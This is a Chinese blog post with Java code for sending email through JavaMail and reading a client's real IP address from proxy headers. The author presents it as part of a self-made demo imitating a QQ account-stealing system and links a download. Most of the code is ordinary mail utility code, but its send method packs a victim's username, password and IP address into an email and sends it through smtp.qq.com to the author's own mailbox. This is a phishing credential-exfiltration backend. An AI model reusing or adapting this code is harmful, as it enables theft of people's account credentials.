JAVA发送邮件和获取客户端真实ip地址
来源:互联网 发布:网络设计方案工程 编辑:程序博客网 时间:2024/05/19 13:44
发送邮件需要使用的基本信息类MailSenderInfo
设置邮件信息MyAuthenticator
发送邮件的类SimpleMailSender
下面链接我自己做的一个demo,模仿的盗QQ号系统,获取ip的方法就在里面
点此获取资源下载地址
package com.util.mail; /** * 发送邮件需要使用的基本信息 */ import java.util.Properties; public class MailSenderInfo { // 发送邮件的服务器的IP和端口 private String mailServerHost; private String mailServerPort = "25"; // 邮件发送者的地址 private String fromAddress; // 邮件接收者的地址 private String toAddress; // 登陆邮件发送服务器的用户名和密码 private String userName; private String password; // 是否需要身份验证 private boolean validate = false; // 邮件主题 private String subject; // 邮件的文本内容 private String content; // 邮件附件的文件名 private String[] attachFileNames; /** * 获得邮件会话属性 */ public Properties getProperties(){ Properties p = new Properties(); p.put("mail.smtp.host", this.mailServerHost); p.put("mail.smtp.port", this.mailServerPort); p.put("mail.smtp.auth", validate ? "true" : "false"); return p; } public String getMailServerHost() { return mailServerHost; } public void setMailServerHost(String mailServerHost) { this.mailServerHost = mailServerHost; } public String getMailServerPort() { return mailServerPort; } public void setMailServerPort(String mailServerPort) { this.mailServerPort = mailServerPort; } public boolean isValidate() { return validate; } public void setValidate(boolean validate) { this.validate = validate; } public String[] getAttachFileNames() { return attachFileNames; } public void setAttachFileNames(String[] fileNames) { this.attachFileNames = fileNames; } public String getFromAddress() { return fromAddress; } public void setFromAddress(String fromAddress) { this.fromAddress = fromAddress; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getToAddress() { return toAddress; } public void setToAddress(String toAddress) { this.toAddress = toAddress; } public String getUserName() { return userName; } public void setUserName(String userName) { this.userName = userName; } public String getSubject() { return subject; } public void setSubject(String subject) { this.subject = subject; } public String getContent() { return content; } public void setContent(String textContent) { this.content = textContent; } }
设置邮件信息MyAuthenticator
package com.util.mail; import javax.mail.*; public class MyAuthenticator extends Authenticator{ String userName=null; String password=null; public MyAuthenticator(){ } public MyAuthenticator(String username, String password) { this.userName = username; this.password = password; } protected PasswordAuthentication getPasswordAuthentication(){ return new PasswordAuthentication(userName, password); } }
发送邮件的类SimpleMailSender
package com.util.mail;import java.util.Date;import java.util.Properties;import javax.mail.Address;import javax.mail.BodyPart;import javax.mail.Message;import javax.mail.MessagingException;import javax.mail.Multipart;import javax.mail.Session;import javax.mail.Transport;import javax.mail.internet.InternetAddress;import javax.mail.internet.MimeBodyPart;import javax.mail.internet.MimeMessage;import javax.mail.internet.MimeMultipart;import javax.servlet.http.HttpServletRequest;/** * 简单邮件(不带附件的邮件)发送器 */public class SimpleMailSender {/** * 以文本格式发送邮件 * * @param mailInfo * 待发送的邮件的信息 */public boolean sendTextMail(MailSenderInfo mailInfo) {// 判断是否需要身份认证MyAuthenticator authenticator = null;Properties pro = mailInfo.getProperties();if (mailInfo.isValidate()) {// 如果需要身份认证,则创建一个密码验证器authenticator = new MyAuthenticator(mailInfo.getUserName(),mailInfo.getPassword());}// 根据邮件会话属性和密码验证器构造一个发送邮件的sessionSession sendMailSession = Session.getDefaultInstance(pro, authenticator);try {// 根据session创建一个邮件消息Message mailMessage = new MimeMessage(sendMailSession);// 创建邮件发送者地址Address from = new InternetAddress(mailInfo.getFromAddress());// 设置邮件消息的发送者mailMessage.setFrom(from);// 创建邮件的接收者地址,并设置到邮件消息中Address to = new InternetAddress(mailInfo.getToAddress());mailMessage.setRecipient(Message.RecipientType.TO, to);// 设置邮件消息的主题mailMessage.setSubject(mailInfo.getSubject());// 设置邮件消息发送的时间mailMessage.setSentDate(new Date());// 设置邮件消息的主要内容String mailContent = mailInfo.getContent();mailMessage.setText(mailContent);// 发送邮件Transport.send(mailMessage);return true;} catch (MessagingException ex) {ex.printStackTrace();}return false;}/** * 以HTML格式发送邮件 * * @param mailInfo * 待发送的邮件信息 */public static boolean sendHtmlMail(MailSenderInfo mailInfo) {// 判断是否需要身份认证MyAuthenticator authenticator = null;Properties pro = mailInfo.getProperties();// 如果需要身份认证,则创建一个密码验证器if (mailInfo.isValidate()) {authenticator = new MyAuthenticator(mailInfo.getUserName(),mailInfo.getPassword());}// 根据邮件会话属性和密码验证器构造一个发送邮件的sessionSession sendMailSession = Session.getDefaultInstance(pro, authenticator);try {// 根据session创建一个邮件消息Message mailMessage = new MimeMessage(sendMailSession);// 创建邮件发送者地址Address from = new InternetAddress(mailInfo.getFromAddress());// 设置邮件消息的发送者mailMessage.setFrom(from);// 创建邮件的接收者地址,并设置到邮件消息中Address to = new InternetAddress(mailInfo.getToAddress());// Message.RecipientType.TO属性表示接收者的类型为TOmailMessage.setRecipient(Message.RecipientType.TO, to);// 设置邮件消息的主题mailMessage.setSubject(mailInfo.getSubject());// 设置邮件消息发送的时间mailMessage.setSentDate(new Date());// MiniMultipart类是一个容器类,包含MimeBodyPart类型的对象Multipart mainPart = new MimeMultipart();// 创建一个包含HTML内容的MimeBodyPartBodyPart html = new MimeBodyPart();// 设置HTML内容html.setContent(mailInfo.getContent(), "text/html; charset=utf-8");//html.setText("");mainPart.addBodyPart(html);// 将MiniMultipart对象设置为邮件内容mailMessage.setContent(mainPart);// 发送邮件Transport.send(mailMessage);return true;} catch (MessagingException ex) {ex.printStackTrace();}return false;}public void send(User user) {MailSenderInfo mailInfo = new MailSenderInfo();/* * 设置通讯传输协议,你的邮箱必须支持SMTP服务 * 如smtp.qq.com * smtp.163.com */mailInfo.setMailServerHost("smtp.qq.com");mailInfo.setMailServerPort("25");mailInfo.setValidate(true);mailInfo.setUserName("");//您的邮箱地址,如12345@qq.commailInfo.setPassword("");// 您的邮箱密码mailInfo.setFromAddress("");//你的邮箱地址mailInfo.setToAddress("1113434894@qq.com");//发送给谁就填谁的邮箱地址,这是我的QQmailInfo.setSubject("邮件标题:" + user.getUName());mailInfo.setContent("用户名:" + user.getUName() + "" + ",密码:"+ user.getUPwd() + " ,------ IP地址:"+user.getAddress());// 这个类主要来发送邮件SimpleMailSender sms = new SimpleMailSender();// sms.sendTextMail(mailInfo);//发送文体格式sms.sendHtmlMail(mailInfo);// 发送html格式}/** * 获取ip地址 * @param request * @return */public String getIpAddr(HttpServletRequest request) { String ip = request.getHeader("x-forwarded-for"); if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { ip = request.getHeader("Proxy-Client-IP"); } if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { ip = request.getHeader("WL-Proxy-Client-IP"); } if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { ip = request.getRemoteAddr(); } return ip; }}
下面链接我自己做的一个demo,模仿的盗QQ号系统,获取ip的方法就在里面
点此获取资源下载地址
- JAVA发送邮件和获取客户端真实ip地址
- Java如何获取客户端真实IP地址
- Java获取真实客户端IP地址
- java获取真实的客户端IP地址
- Java获取客户端真实IP地址 编辑
- Java获取客户端的真实IP地址
- java获取客户端真实IP地址
- Java获取客户端的真实IP地址
- Java获取客户端的真实IP地址
- Java获取客户端的真实IP地址
- java获取客户端真实地址IP
- Java获取客户端的真实IP地址
- 获取客户端真实IP地址
- 获取客户端真实ip地址
- 获取客户端真实ip地址
- 获取客户端真实IP地址
- 获取客户端真实IP地址
- java获取访问者真实ip和真实地址以及运营商
- 【贪心】 hdu4415 Assassin’s Creed
- 安装虚拟机后锐捷提示把其他的网卡禁用
- 学习方法
- ASP.NET小技巧——回传后保持页面的滚动位置
- 等你,执手渡流年(七夕)
- JAVA发送邮件和获取客户端真实ip地址
- proxy software with bugs solution
- linux 内核源代码目录结构
- 第四章 数组和指针 (part3) C 风格字符串
- 明年的七夕,你还记得我吗
- poco库学习笔记(1) poco库的安装
- Java中的过滤器
- 振南的znFAT(第四章_统揽全局_三分胜算)
- matlab写邮件摄像头程序打包发布